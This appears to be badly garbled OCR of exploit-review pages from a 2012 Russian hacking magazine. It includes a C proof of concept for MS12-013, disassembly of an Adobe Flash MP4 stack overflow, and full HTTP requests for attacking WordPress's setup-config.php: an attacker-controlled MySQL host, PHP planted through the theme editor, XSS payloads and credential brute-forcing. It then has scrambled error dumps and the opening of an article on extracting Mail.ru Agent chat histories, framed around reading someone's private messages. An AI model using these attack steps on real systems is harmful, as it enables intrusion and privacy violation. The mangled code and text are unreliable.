ttr"" !Yt _RSSERTE CnFi oat StrU itd<• C•onFI ()& t St rSt J J : lf CnFi o&tSt r Ustd•• C•pnFlo&tStr St J I 1 lf C( • pF lo<!!tStr J• • fl oats tr l no l

178 17'>

(

"" "'

lf { ( {• pF lo at S\r ) • ( _TCitAR· >.c:all oc _c: r H {• Dnf' l oa t StrSt ) ,

101

(

183

)

.text:6FF BF935 push [ebp+pulResult] ; size_t .text:6FFBF938 mov еах, [ebp+arg_8] . text:6FFBF93B push [ ebp+arg_4] ; void * . text : 6FFBF93 E mov dword ptr [еах] , 1 .text:6FFBF944 push dword ptr [esi] ; void * . text:6FFBF946 call _memcpy .text:6FFBF94B push edi ; pulResult .text:6FF BF94C push 2 ; int . text:6FFBF94E push dword ptr [edi] ; int . text:6FFBF950 call ?SizeTMult@@YAJ I I PAI @Z ; SizeTMult( uint,uint,uint *) .text: 6FFBF955 add esp, 18h РОС для MS12-01 3:

•s l t~f (_TCНRR J ) J ••

rl!tLrn FRLS[.

~=~~~~iiИ ~:~~t~~ ~1?~::~tr l no . С • onFI ()& t Str StJ •slz~H - TCHRRI J;

18< 1ВS

186 107

#include <windows . h> #include <stdio . h>

( • pnFl oo t Str Sz J· • .

) о1и

IОЗ

"'

(

199 191

{• onF io &tStrS z J,

"'

• Sit~f (_ TC HRR J J J •• '

rltLrn FRLS[ .

103

)

19< 111'5 1_ 197 198

C•DF IOIItSt r J• C.TCHRR • I CtP.IoPol nttr J; ( •onfl oo t St rS z l •• :

199 21111 1

А это пропатченная версия. Вновь посмотрим на аргументы

)

#pragma comment(linker, " / NODEFAULTLIB:msvcrt90.lib" ) #pragma comment(linker, " / NODEFAULTLIB:msvcrt80 . lib" )

CllТJ.JRRHlHG_PQP ;

rl!turn TRU[ ;

#pragma comment(lib,

"vsб/ ms vcrt.lib " )

chec k_ fl oat_ string из CRT

ХАКЕР

04 / 159/ 2012

051

www.epidemz.net

ВЗЛОМ/ ОБЗОРЭКСПЛОИТОВ

#define BUF_SIZE

Adobe Flash Player: переполнение буфера при обработке MPI. в SequenceParameterSetNALUnit

ВхЗВВ

2

void main( void {

CVSSV2

char *pStr; float f; int i;

10.0

1111 1111 11111 11 11 1111

1 IAV: N/АС: L/Au: N/C :С/ 1 : С/А: С]

DliШ

1О февраля 2012

pStr = (char*)malloc(BUF_SIZE); memset(pStr, В , BUF_SIZE); strcpy(pStr, "1 . " );

года в составе

metasploi t-a

nоявился новый модуль,

отве чающий за уязвимость в обработке mр4-файлов, которая осу­ ществляется комnонентом

Flash1 Ou.ocx Adobe Flash

Рlауег. Ошибка

расnолагается в sequencePaгameteгSet N ALUnit . Когда nроисходит обработ ка значения num _ гef_ fгames _ in _ pic _ oгdeг_cnt_cycle, раз­

for ( i=l ; i<=BUF_SIZE- lB ; i++)

мер коnируемых данных никак не nроверяется, и nроцесс

{

strcat(pStr,

Fl ash'a

бездумно коnирует nодконтрольные nользователю данные из

"В" );

offset _ foг_гef_fгame в буфер фиксированного размера, расnолагаю ­

щийся на стеке. В результате э то nриводит к удаленному выnолне­

printf( "Before scanf() \ n" );

нию nроизвольнога кода в контексте nользователя, запустившего

sscanf(pStr, "%f" , &f);

также указ ывают на то, что она активно использовалась

nроцесс

Flash-a.

Многочисленные сообщения об этой уязвимости

ITW.

1I!ПШ

printf( "After scanf() \ n");

Дизасм уязвимого места !функция sub_1005B396], Flash10u.ocx

printf( "%f \ n" , f);

10.3.181 .34:

.text:1BBSB482 call SubReadUExpGlomb ; читаем pic_order_cnt_type .text:1BBSB487 mov [esi+4Bh ], еах .text:1BBSB48A cmp еах, еЬр ; если pic_order_cnt_type !=В (еЬр=В) .text:1BBSB48C jnz short loc_1BBSB49D

if.1ildjf1 Windows Vista, Windows

Sегvег

2008, Windows 7, Wind ows

Sегvег

2008

fi•J!Iiit•J:I Существует обновление, устраняющее данную уязвимость

't OltyDbg - ms12-013poc.exe - [CPU- main thread, module ntdll: [fJ

Ftle

Vte>

Debug

Trace

Optюn.

,",,ndo s

=

@)

Нщ

§~~ ~~!!J ~~!bl.!bl ~.YJ ~~~.:!J~~ ~~_!!] ~ 8848 F8 8940 R4 854F 4С 74 еб 334F 50 8940 R4 0FB7C9 8875 ев 0FB7C9 3809 0F87 C0R70300 8056 0э 8955 С4 8848 04 8819 3808 0F85 B4R70300 8902 894R 04 891 1 8950 0 4 0F870б

0147 78 8887 в8000еее 85се

0F84 R42CF EFF 0F871E 8985 5CFF FFFF

MOV Е СХ , OWORO PTR OS: CERX-8J MOV OWORO PTR SS : С Е8Р- 5С J , ЕС Х TEST OWORO PTR OS: CEOI+• CJ,ECX J E SHORT 770E028R XOR ECX ,OWORO PTR OS: CE0!+50J MOV OWORO PTR SS: CEBP-5C J , ЕС Х MOVZ X Е СХ , С Х MOV ESI ,OWORO PTR SS : !E8P+8J tiOVZ Х Е СХ , С Х Ct1P ЕВХ . Е СХ JR 77E1 RR8B LER ЕО Х , !ES !+8 J tiOV OWORO PTR SS : I EBP-3C J , ЕОХ MOV ECX , OWORO PTR OS : IERX+4J MOV ЕВХ , OWORO PTR OS : !ECXJ С 11Р ЕВХ , ERX JNE 77 E1RR92 MOV OWORO PTR OS: CEOXJ , ERX MOV OWORO PTR OS : CEOX+4 J.ECX MOV OWORO PTR OS : !ECXJ ,EOX MOV OWORO PTR OS:!ERX+4J , EOX MOVZ X ERX , WORO PTR OS: !ES I J ROO OWORO PTR OS : CEO I +78J, ERX 110V ERX,OWORO PTR OS: !EOI+ 088J TEST ERX, ERX J E 770C2FR0 MOVZX ЕВХ , WORO PTR OS: CES I J MOV OwORO PTR SS : !EBP-0R4J,ERX

i steгs С FР Ш

00531218

tdeciмa l

Р

77DE0204

~-1~_11Jl'LЯJ\.II.1UUlHJiJLI\1ЩjUIJIJL.HЛ.t.1L_1 1 ~;,~

J"

~

1 Z 0

OS FS 0053 З2Ь L

S 1 Т 1)

о

J l l . 77DE0204

li~Ч~ .c:.bLt 111 -2bLt uu в З2btt 00"~ З2Ь а<

1 1

G

0

О О

0028

2

O(FFFFFFFF)

0(FFFFFFFF1 ЫFFFFFFFF)

01 FFFFFFFFJ 7EF OOt FFF) HF FFF',.

L~

•Err ееееее7 Е EF P~l1 0_1 T_FOU''D EFL 00018297 (~ •.B,N , ,Г,L,LE) емрtу

G. O

ST.?

емоtу

(t.O

~Т=!:

e-,.1pty 0.0

STO

STl E'MDtY (1, о

'Т4 e-f"•~ty (1.0 те: e-tt.~ty о. о о E"f"lpty 0.0

·

•• Pt У 1 • еееееееееееееееееее ?21.) d J О 0 О

70. J t

Нен

" 1_1>1

r

Е

€!27F ~ddre s.s

1

Е 0018FB30 ЕЕ Р 8018FCI8 Е ее538708 ее53ееее

Er

( 30303030) =???

ЕВ Х :0000004б

I~LI

эе3е3еэе

ее5307Ее ееееее4б

duм

RSC I I

~C18Fb-:>4

754RбСС 1 ~ 1Ju 00\JOOOCIO .• ••

OQ18F838

00530000 , • S.

OOISFBЗC

00000000 • .••

00000000 ....

0018F85'3 00:1SFB54

63040265 ES•c 00000{t0\З ••••

8ЫЭFВ5С оы ЭF86О

бОЕ29S28 000СЮ\ЗОIЭ

00000(Н)0 00000(Ю0 ооsзвr (Н)SЗ(ЮОО

so

О О

fG

1 1 1 1 1 1

0023:00401090 '~1l-01Зpoc.0040109D

•... ....

00531218 t*S· ASCJ I 00000000 00000000

()~I~FB84

'SPU 0 0 0

О О О

POS.

01)18F870 OOISFB7S 0018FB7C 001 SF880

r

••••

•• S. 00000000 •••. СЮОООООО •.•.

001SFB74

Е•

t1

t Хт '

0018FB64 0018FB6S OOISFBЬC

NH~R.S.::

p·S.

OOISF840 0018F844 0018FB48 001SFB4C OUI8F858

~

005307ЕО

смd

. .с

"UОО•З0(1€J000001~Ш(1ООООООС100000(t1Э000"

OQ(t001JOO OC(I00000 000~0009

ms12-013: результатпереnолнения кучи

ХАКЕР

052

www.epidemz.net

04/159/2012

Обзор эксплоитов

.text:1EJEJ5849D xor е Ь х , еЬх еЬх . text:1EJEJ5849F inc .text:1EJEJ5B4AEJ cmp еах, е Ь х .text:1EJEJ5B4A2 jnz short loc_1EJEJ5 B4EF ; если pic_order_cnt_type != 1 .text:1EJEJ5B4A4 mov есх, edi .text:1EJEJ5B4Aб call SubReadBit ; читaeм 'delta_pic_order_always_zero_fiag .text:1EJEJ5B4AB mov есх, edi .text:1EJEJ5B4AD mov [ esi+48h ] , al .text:1EJEJ5B4BEJ call SubReadSEx pGlomb ; читаем offset_for_non_ref_pic .text:1EJ05B4B5 mov есх , edi .text:1005B4B7 mov [esi+ 54h ], еах SubReadS ExpGlomb .text:1005B4BA call ; читаем offset_for_non_ref_pic .text:1005B4BF mov есх, edi .text:1005B4C1 mov [esi+50h ] , еах .text:1005B4C4 call SubRead UEx pGlomb ; читаем num_ref_frames_in_pic_order_cnt_cycle .text:1EJ05B4C9 mov [esi+4Ch ] , еах .text:1005B4CC test еах, еах .text:1005B4CE jbe short l oc_10EJ5B4EF ; если num_ref_frames_in_pic_order_cnt_cycle е .text:1005B4D0 lea еах, [esi+58h ] .text:1005B4DЗ mov [ esp+10h+ptr], еах .text:1005B4D7 .text:1005B4D7 l oc_100 5B4D7: ; CODE XREF: SubParseSeqParameterSet+157(j mov . text:1005B4D7 есх , edi .text:1005B4D9 call SubReadSExpGlomb ; читаем offset_for_ref_frame .text:10EJ5B4DE mov есх , [esp+10h+ptr ] .text:1005B4E2 add [ es p+10h+pt r ] , 4 .text:1005B4E7 inc еЬ р ; еЬр - счетчик цикла .text:10EJ5B4E8 mov [ есх ], е а х ; есх указывает на буфер на стеке .text:10EJ5B4EA cmp еЬр, [ es i+4Ch ] ; сравниваем счетчик ; с num_ref_frames_in_pic_order_cnt_cycle .text:1005B4ED jb shor t loc_1005 B4D7

149 <?php 150 break ; 151 case 2: 152 $dbname = trim ($_POST [ ' dbname ' ]) ; 153 $uname = trim ($ POST [ ' uname ' ]) ; 154 $passwrd = trim ($- POST [ ' pwd ' ]) ; 155 $dbhost = trim ($-POST [ ' dbhost ' ]) ; 156 $prefix = trim ($- POST [ ' prefix ' ]) ; 157 if ( empty($prefix ) ) 158 $prefix = ' wp_'; 159 160 161 // Validate $prefix : it сап only contain letters, nu mbers and underscores 162 if ( preg_match ( ' 1[ла-z0-9_] li ', $prefix ) ) 163 wp die ( / *WP I18N BAD PREFIX*/ ' <strong>ERROR</st rong>: "Table Prefix" can- only contain numbers, letters, and underscores. ' / */WP_I18N_BAD_PREFIX*/ ) ; 164 165 11 Test the db connection . / **#@+ 166 * @ignore 167 */ 168 define ( ' DB NАМЕ ', $dbname ) ; 169 define ( ' DB- USER ', $uname ); 170 define ( ' DB- PASSWORD ', $passwrd ) ; 171 define ( ' DB- HOST ', $dbhost ) ; 172 / **#@-*/ 173 174 175 11 We'll fail here if the values are no good. 176 require wp db () ; 177 if ( ! ёmpty( $wpdb ->error ) ) { 178 $back = ' <р class="step"><a href="setup-config.p hp?step=1" onclick=" j avascript: history. go( -1); return fal se;" class="button">Try Again</a></p> '; 179 wp_die ( $wpdb ->error ->get_error_message () . $ Ьас k );

180 181

} 175,2-5

П ара м ет р ы, прин и маемы е ск рип том

61%

setu p-config.php, ни как не фильт ру ютс я

Claud i us] опубликовала очере дную пачку у язвимастей в движке Функция SubReadUExpGiomЫI читает из файла экспоненци-

WoгdPгess. Среди них - исполнение произвольнаго РНР-кода ,

альный код Голом ба и декодирует его в беззнаковое число.

множественные ХSS-уя звимост и, а также раскрытие имени поль­

SubReadSExpG iomb(] читает экспоненциальный код Голамба и деко­ дирует его в знаковое число. Функция SubReadBitll производит чтение

зователя и паролядля подключения к серверу MySQL.

одного бита. Как видишь, в вышеприведенном коде не произв одится

никаких проверокна значение пum_гef_f гames _ iп _ pic _oгdeг_ спt_

tm!Шi

1. Исполнение произвольнаго

РНР-кода и хранимая XSS в с крипте setup-config.php. Сценарий исп олняется в процессе инсталляции

cycle. Вдобавок ко всему Flash Рlауег не используеттакой защитный механизм как stack cookies, поэтому атакующий может получить контроль над регистром eip без каких-либо проблем.

WoгdPгess и позволяет устанавливать движок с использованием ло­

if.1ild3f1

злоумышленник может поднять с вой собственный сервер MySQL

кальной или удаленной базы данных MyS QL. Для этого необходимо

ра с полагать валидными реквизитами для доступа к MySQL. Однако

Adobe Flash Рlауег<= 10.3.181.36

и использовать его в процессе установки, при этом не располагая

логином/паролем к MySQL на целевой системе. После успешной ин­

F-1•J!Iiit•B' Обновиться до версии

сталляции WoгdPгess злоу мышленник может внедрить произволь­ ный РНР-код через редактор тем WoгdPгess. В допол н ение к этому,

10.3.183.5

благодаря доступу к базе данных WoгdPгess становится возможным внедрить произвольный Javascгipt-кoд в контент движка, тем самым

3

Множественные уязвимости в WordPress

реализуя уязвимость хранимой XSS. Атака проводится следующим образом. Допустим,

CVSSV2

Z5

11111 1111 111 111 11111

A.B.C.D- целевой

сервер с WoгdPгess, а W.X.Y.Z- сервер злоу мышленника с установ­ ленной MySQ L . Посылаем POST- и GET -запросы для установки WoгdPгess с исполь­

IAV: N/ АС: L/Au: N/C: Р/1: Р/А: Pl

зованием базы данных злоумышленника:

[]]Ш В конце января компания Tгustwave Spideгlabs в

РОS Т-з апро с

лице и ссле дователя Джонатана Клаудиуса (Jonathan

POST /wp - admin/setup-config.php?step=2

ХАКЕР

НТТ Р/ 1 . 1

05 3

04 /159/ 201 2

www.epidemz.net

ВЗЛОМ/ ОБЗОРЭКСПЛОИ ТОВ

Host: A.B.C.D User-Agent: Mozilla/5.0 (Maeintosh; Intel Мае 05 Х 10.6; rv:8.0.1) Geeko /20100101 Firefox/8 .0.1 Aeeept: text/html,applieation/xhtml+xml, appl i eation/xml;q=0.9 , */* ;q=0.8 Aeee pt -Language: en-us,en;q=0.5 Aeeept-Eneoding: gzip, defiate Aeeept -c·ha rset: 150-8859-1, utf -8 ; q=0. 7, *; q=0. 7 Proxy-Conneetion: keep-alive Referer: http: // A.B.C.D /w p-admin/setup-eonfig.php?step=1 Cookie: wp-settings-ti me-1=1322687480; wp-settings-1=m9%3Do Content-Type: app l ieation /x -www-form-urleneoded Content-Length: 81 dbname=wordpress&uname=jsmith&pwd=jsmith&dbho st =W .X.Y.Z &prefix=wp_&submit=5ubmit GЕТ-запрое

GET / wp-admin / install.php НТТР / 1.1 Host: A. B.C.D User-Agent: Mozilla/5.0 (Maeintosh; Intel Мае 05 Х 10.6; rv:8.0. 1 ) Geeko / 20100101 Firefox /8.0. 1 Aeeept: text/html,applieation /x html+xml, app l ieation /x ml;q=0.9, */*; q=0. 8 Aeeept - Language: en-us,en;q=0.5 Aecept-Encoding: gzip, defiate Accept-Charset: I50-8859-1,utf -8 ; q=0.7, *;q =0.7 Proxy-Connection: keep-alive Referer : http: // A.B.C . D/wp-admin /se tup-config.php?step=2 Cook i e: wp-settings -ti me-1=1322687480; wp-settings- 1=m9%3 Do If-Modified -5ince: Wed, 07 Dec 2011 16:03:33 GMT С nомощью редактора тем W oгd Pгess редактируем файл

404.php

[или люб ой другой, доступный в использ уемой теме], тем са мым реализуя возможность исполнения РНР-кода :

<?p hp phpinfo(); ?> Исполняем код с помощ ью GЕТ-запроса или прост о откры в стра­ ницу в браузе ре:

GET /wp -content / themes / default/404.php НТТР / 1.1 Host: A.B.C.D User Agent: Mozilla/5.0 (Macintosh; I ntel Мае 05 10.6; rv : 8 . 0.1) Gecko/20100101 Firefox / 8.0 . 1

10. 6; rv:8.0.1) Gecko/20100101 Firefox /8 .0.1 2.

Мн ожес твенн ые

XSS

параметры

«db nam e>>, «d bhost » или << uname >>. Это реализуется

через следующий РОSТ -зап рос: РО5Т /w p-admin / setup-config.php?step=2 НТТР / 1.1 Ho st: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Мае 05 Х 10. 6; rv:8.0.1) Gecko /20 100101 Firefox /8 . 0.1 Accept: t ext/ html,appli cation/xhtml+xm l , application/xml;q=0 . 9, */* ;q=0.8 Accept-Language : en-us,en;q=0.5 Accept-Encoding: gzip, defiate Aeeept-Charset: I50-8859-1,utf-8;q=0 . 7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D/wp-admin/setup-eonfig.php?step=1 Content-Type: application/x-www-form-urlencoded Content- Length: 112

dbname=%3Cscript%3 Ealert%28%27123%27%29%3C%2 Fscript%3 E& uname=root&pwd=&dbhost=loealhost&prefix=wp_&submit=5ubmit 3.

Раскрытие реквизитов для доступа к базе данных

с крипт

setup-conf ig .php.

MySQL через

В процессе ин стал ляции пользователь

задает параметры базы данных

MySQL, как уже обсуждалось

ранее. При вводе неправильных реквизитов скрипт выдает ошиб­ ку, чем и можно воспользоваться, осуществляя брутфорс имени пользователя и пароля к

MySQL, причем

не только локальной, но и

любой удаленной. Запрос выглядит следующим образом: РО5Т /wp- admin / setup-config.php?step=2 Н ТТР/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Maeintosh; Intel Мае 05 Х 10 .6; rv:8.0.1) Gecko/20100101 Firefox / 8.0.1 Aecept: text/html,applieation/xhtml+xml, applicat ion /x ml;q=0 .9,*/*; q=0 . 8 Accept-Language: en-us,en;q=0.5 Aecept-Encoding: gzip, defiate Aeeept-Charset: I50-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-al ive Referer: http://A.B.C . D/wp-a dmin/setup-config.php?step=1 Co ntent -Type: application/x-www-form-ur l encoded Content-Lengt h: 32

uname=user&pwd=pass&d bho st=L.M .N.O Х

В нем делается попытка коннекта к серверу лем useг и паролем

Та к же злоумышлен ни к можети спользоватьхран имую

в скри пте setup-coпfig.php. В процессе ин­

сталляции элаумышленник может внедрить Javascгipt-кoд через

L.M.N.O

п ользовате­

pass.

XSS для

а та к и на пользователей,- для этого не обходи м о выполнить

jf.1;1djfj

такой запрос:

WoгdPгess

UPDATE wp_comments 5ЕТ co mment _c ontent= ' <script>a l ert( ' 123')</script >' where comment_content= ' Hi, this is а comment. <br /> То delete а comment , just log in and view the post's comment s . There you will have the option t o edit or delete them . ' ;

l'j•J!Ijil•J:I

Когда пользователь зайдет по ссылке, указанной в следующем GЕТ­

ляютаккаунты,вкоторыхпоумолчаниюприсутствуютдистрибутивы

зап росе , в его браузере выnолнит ся внедренный Javascгipt-кoд:

WoгdPгess суетановочными скрип т ам и, а клиент их может даже и не

3.3.1

и более ранние .

Так как уязвимый скрипт- инсталляционный, разработчики WoгdPг ess посчитали возможность реализации этих уязвимастей крайне малой и не стали выпускатьофициальных патчей. << Ни один нормальный пользователь не будет оставлять инсталляционных скриптов у себя н а сервере или прерывать процесс уста новки », ­ с читают они. Однако н екото рые хаетингавые компании предостав­

планировал использовать. Для защиты сво их серверов от этих атак

GET /? р=1 НТТР / 1. 1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel

можно порекомендоватьлишь пользоваться с ложными парелями к

MySQL, а также использовать WAF, например , ModSecuгity, в правилах Мае

05

Х

которого учтены подобного рода атаки. :Н:

ХАКЕР

www.epidemz.net

04/159/2012

·.

MAKJ.M А АnьФа· Банк (game}land

-

ОАО «Альфа-Банк». Генеральная лицензия банка России на осуществление банковских операций от

www.epidemz.net

29.01.1998 NQ1326"

www.epidemz.net

localhost t '

Incorrect syntax near the keyword 'se lect'. Incorrect syntax near '%' . Unclosed quotation mark after the character string ". Sys t e nl. Data . Sq i Ci i ent.Sq i Excepti o n ln c orrect syп tax 11e ar t l1e k e ywo r d 's e l ect ' . S)'!!lte:n . Dato . SqlClient. . Sql Ex cept.icщ

lп co rrect syпta x

( Ох6 0 1Зl9 0 4 ) :

n ea r

Incor r ect. 11yntax

'О/о' .

nе .н

U11 c losed q u otation m a rk afte r t l1e c l1 a r acte r s tri n g ". the keywt>rd ' :!!ele ct' .

Inco rre ct !!lynta x nе.н ' \ '. Unclos ed qUOt". ti on :::A tk a ~te r t he Ch o!! r &ct er !!ltt ing: ' ' . a t s~·ster~.Dato .SqlClient.SqlCo:mecticm . Dn!п •. (SqlExceptlon ех::~;:-:::~~ . Bcolean b:~"_:.::::!"lr.e:::::~. ) o!!t Syste.:n.Dota.SqlClle!"lt . Sqli!"IternolCon!"lectlOn. ·ru:r~ 'r {S:,lException е :е~::.:~.• 3oolean b:eai.::::-.::ee": ~~- 1 at Sy:~teш. Dat!I.SQ:lClient. IdsPar!!ler . Тh-rc ·~хсер:1 )f\A.'1: rnJ.nq O o!! t Syste.:n. r!ata. SqlClient. id!!IPar!!ler . T~JRun (Runfleha;·ior ::-.;~eha::~::: , SqlCo:r::an:! ::::-.-:!~an:!.j_e::; , S:,l:>ataRe4:!e:: :!.atoSt~e~~~ , BuH"Ccpy5iqйeRe5ultSe o t S)':lteш. Data.SqlClient.Sql:>otaReoder . TrJ(" _ns\.l.lllcl~· а1 . () o!! t Syste.:n. Dato. SqlClient. SqlJatt.Reode:: . Jet_!!etaDt.>:ll {) at Sy5te!l".. Data . SqlClient. SqlCc=and . ~·шlshExecuteRe,,Qer (S:,lDt.taReader :1~ , Ru.пBeha•JlOI :unВе~нг.:.::: , Sttlnq ::e;'le":ct:;t ::;:J.!S:r : ;:q ) at Systeж. :lata. SqlC11ent. SqlCo:-.:r.an:! . RwlExecuteReader'!'<Ь {Co~nd3ehavio:: ::-:I.Se!">a·:lc:: , RunВehavior ::. ~: •.&":.-;::: , Soolean :e:·Jr:"lSt:ea:- , Зооlеа ot Sy.!teш . Data. SqlClient. SqlCc:r.:r.an:! . RunExecuteRea~.,.. (Co:r.::-.andВehavior =-::!Ее~.&".:.:::: , RunВehavior : ;::~:!.е'и!.V1.:::: , Вaoleen :e~-.::n::-:.rea:r , Strinq -е at S}'.!tem. Jata. SqlClient. SqlCo:r.иn:!. Run!xecuteReade~ {Co:::=.andЗehavio: c.:-:1.3eh!··:.:: , Rui"\Вehavior _u:-.Eeh.a··::::: , &oolean ::e:·;:::~S-:::ea:- , Strin; :-е ~~~ Sy.!~eш.:1ata.SqlClient.SqlCo~nd . V.xeruteRea1er [Co=.andВehev.i.or l:e: с-: , St:1ш;; - ~:ht::::l ) at Sy!!ltell!. Data. SqlClient. SqlCcrr.:r.and . ExecuteDbD<•ti!.Re -r {to~r.:r.andВehavior .с~=--~·· :. : ::) at. Sy.ste~~:.Deta.Qb)e.cts . ~b]ectContext . !xc.- Jt~StтreQuerJir,t• · .:. r'!'Ele.a.t::.~' {Stвnq с.с- ... ,;.:::!I е к: , S~rinq е:::~ ::iS:e:::e::-~ , a t Sy!!ltem.Date.Ob)ect5.0bJectConte xt . f:x~= ~ .'<J:St JteQuerJ (ТEl··-~~entl (Striпq :.::· :-н;.:l:"ех: , Ob)ect{ 1 ~arar _:е:.! )

~e:qeCption ::-~::~e:j::; :. -:::

20,19\S; З..•"""""' CO&t~I)00311A07DЛ}98.16fAAJD9!!f07~[8HF979 03iiODC0Jl10(8UFдm!106C ESF EA!»9E9HC81 J З

ЬI 1 0001!9J9~)6SOIAJ.ACCЯ J .O.SOII~EC)IO'J7jJ FJШШ7666106l.F50Н7 Jfi JNDD!f6C781l!81E.I"6 ICOE!!8EШ11 4 9~82 B I28CF[I i0710687SU17Uff!

93.eJSIFI!iiOZ3JD1CSII00;<31FIIE201!881(6(&S8((76 fi-"U99690CClOIЫISFJSC!9CDCВ.U.

www.epidemz.net

-

Home

Se1rc:h

Store

ASP.NET MVC MUSIC STORE

<I P•rн c httP"'d~ltl>

<tlld

,._ .•t:rrorЩ" tп-o" ft-lo.Error~oiJIID<I"l~.

c oold

~"t • " lrrorfloH"

ll.Nh" />

typt • " flaoh.fn_tl_LI, lloooll " />

( odd"..., . " fr.-orflltrr" t~ ·· H...... (.-rorflltr-le,!l.мlo " /> ~/ Mtpllo .... l o o>

<httpl<o•>cll••» <tdol ~"'"" " I'OST,ЫT,III!IO" p,.h• "elaoh.o•d " < 1 ~>t • " l1Nh.lr,...rtoef'•I•'..,'""Y· rtu~~·

1>

</httptio"'ll l e•P </ oy118.wb>

<lyst .... W~"'"' '

cvoli ... tl...,volloUto!M•I'"'~""fll"rotl.,.. • " folw "

<-

/>

c-..too .... ~AIII-.""I"roн~l••'"'""'ll~o-,...oto• " t...,. · > • ..U I>M~ · · trrcortoa · ty"... " l'-"·lrn>rt~le, H&~h " p•eC:0"4111_ •._..,..._...tler• 1> ~- · "ln'0/' ... 11" · ,pe• " Hqh.(rr-llOio<lulo, Н...,. • ...-o<-IHO!' •" •o~oat-dlor " 1> <..W •- · " II'Т'OO"•Btor " </-IISJ

tt~ · " fl..Ь.E.......-f\IH.....,..Ir,

(Jaoh"

,-f'{-!tl"" · · _..,......,dJo~ ·

1>

.......н,... ••

. ... ~- - · н... ~ · ~ ~~~ - · ~ш~ .•,... . •• .-ь- ·юsт,r.I'T,Itf.ID " c/~1'14!~-lt•- ·t.,lolr•t..._ . />

typc • " (tu~.(~ ...... t.c~•••'•€tC>I")",

rtuh"

:~:: :-~ >

www.epidemz.net

··n~1<>1LWЬOII IIIItlt CII . ~U.tot.i.",t • • adm" а! • hiC:klt tdF

aFWeECh Gp9291~

'•m

,.F tlgm 1h]~L

181 RJ oyel

'1'6tyтТEpKzk00yA >tu;JnZ4tplq1eдZ4A,..

Cart ~01

dmln

The contro ller for path '/ Mus icStore/ Bad ' was not found or does not implement ICont ro ll er. System. Web. HttpEx ce ptioп The c oпtroller for path '/ MusicStore/ Bad ' was

поt fouпd

or does not implernent IController.

Syзtem . \\еЬ.

at at at аt

at at at at at at at at at

Logged

HttpE:xception (0 х 80004005) : The controller : or p~th ' / Xusic Stor e / Bad' \·;аз not :ound or doe3 not irrфl e me nt IConcroller. i\eb . Y..vc . ::>e:aultCo=:~trollerFactory . GetControllerinstance ( RequeзtContext .e~.;e"::c;)te x t , Туре cc;J.tJ::::l:e:T:,.-pe ) Syзtem. Keb . ~vc. ::)e:aultControllerFact.ory . Crec teController ( RequeзtContext :e:rueз~::::::.:ext , String CC:'I~:c:le: : :a=.'.:!: ) Syзtem. i\eb.~o/c.~.rcHandler . ProcessRe .{Ues In1.t ( HttpContextBaзe h:tpC'c:'\te :-::::. 1 IController' cc:1trclle: , IControllerfactory• • .:.c:c:::J") Syзtem. КеЬ. Иvс. X"'vcHandler . <>с_DiзрlауСlаззб . <Вeg.LnProcessRequest>Ь_ 2 () Sy.!tem. i\eb . Иvc . Securit;yUtil.<>c_JiзplayClaззb'l . <P "CessinApplicationTrost>b_ ( 1 Syзtem.1\eb.Y.vc . Securit;:,•Ut;il . <GetCallinApt::.,.rust'r..·ш .k.>t _O (Action :) Syзtem.l\eb.!-!vc . SecurityUtil . ProcessinAf:.,vl... ~onтrus {Action асисn ) Syзtem. i\eb.Y.vc . SecurityUtil . ProcessinAppl... 1. n.,.r .:;· ТЧ.езult] ( Func ' 1 :и::. с) Syзt;em. i\eb . Y.-.;c . ~·.;cHandler . ВeginProcessRt:ч 1eg• ( HttpConteкtBaзe h:;:;~':c:1:e:·:t , AзyncCallback calltao:;.; , ()bJect з\:.аtе ) Syзtem. i\еЬ.М".;с .~·.;cHandler . ВeqinProcessRe(!Ues· (Ht;t;pContex:t ht:~:c:1:;e z t , AзyncCallback callbac;.:, CbJect зtа.:.е ) Syзtem. i\eb . Y.vc.XvcHandler . Syзtem. Web . IHttpAзync!iandler . ВegJ.nProcessReques'" (HttpContext ccn::.e :-:-: , AзyncCallback сЬ , ObJect e:-:::.-a:Jata ) Syзtem. i\eb. HttpApplication. CallHandlerExecut~onStep . S:,•зt.em . i\eb . HttpAppl~ca tion. IExecutionStep . Execute () Syзtem. i\eb. HttpApplication . ExecuteStep (IExecutionStep зtet: , Boolean' cc:r~le-:e::IS:i:1Ch:::onou.3l:r· ) Syзtem.

сп

4

феераля

2012

г.

at 10:06 :01

www.epidemz.net

взлом

гента ПОЛУЧАЕМ ДОСТУП К ИСТОРИИ ПЕРЕПИСКИ И КОНТАКТАМ В ПОПУЛЯРНОМ МЕССЕНДЖЕРЕ

Ты вряд ли пользуешься

Ru

Mail.

Агентом, но это бешено

ИСТОРИЯ ВЗЛОМА Н е забывай о статье

138- « Нар уше ние

Эксперимент начал ся для меня еще в далеком

2008

году когда

друг попрос~л проверить переписку его девушки в Mail . ~u Аген­

популярный сервис, который

тайны переписки ,

с каждым днем набирает

nереrоворов,

обороты . По официальным

телеграфных или иных сообщений »

и данные о конт~ктахl примитивную структуру. За пару часов был

данным месячная аудитория

УК РФ, а также

;аписа н простои , но эффективный R ТF -конвертер, который и де-

те. Тогда фа ил истории представлял из себя простой текстовик

f

телефонных nочтовых ,

на_званием *email*histoгy . txt и имел по сравнению с mгa.dbs

фа ил, в котором в настоящее время хранится ис т ория пере п иски

о наличии в ней главы 28 -

ал всю грязную работ у по вытягиванию переписки из Агента

н Преступления

Друг был в восторге. Далее, в ходе изучения программирова-.

прошлого года составляла

в сфере

ния на компилируемых языках, я в качестве практики написал

безумную цифру в

информации » lст.

этого мессенджера в конце

21,4

миллиона человек. Это

комnьютерной

программу M ail.гu H istoгy Readeг, о п исание которой попало на

страницы][ в августе

272, 273, 2741.

тогдашнего фаила истории \см. ссылки в боковом выносе! и ис­

легко объяснить,- продукт действительно удачный . Но сегодня я хо чу рассказать

о том, как был разреверсен

файл с историей сообщений пользователя.

2009 года. Получив большое количество

положительны~ отзывов, я опубликовал с трук т уру формата ходники читалки. Однако Mai l. гu Агент продолжал развиваться

пример читалки

и править балом стал новый продвинутый файл mгa.dbs. П осле,

истории mгa . dbs ,

этого соб~тия ко мне посыпались тонны сообщений от различ ­

На ди ске ты найде шь

реализацию класса

уnрощающего

'

исследование

бинарных файлов в WiлНе х-ре дакторе, и другие материалы по статье

ных людеи с просьбами за н яться им. В компа н ии с

SO LON7 мы

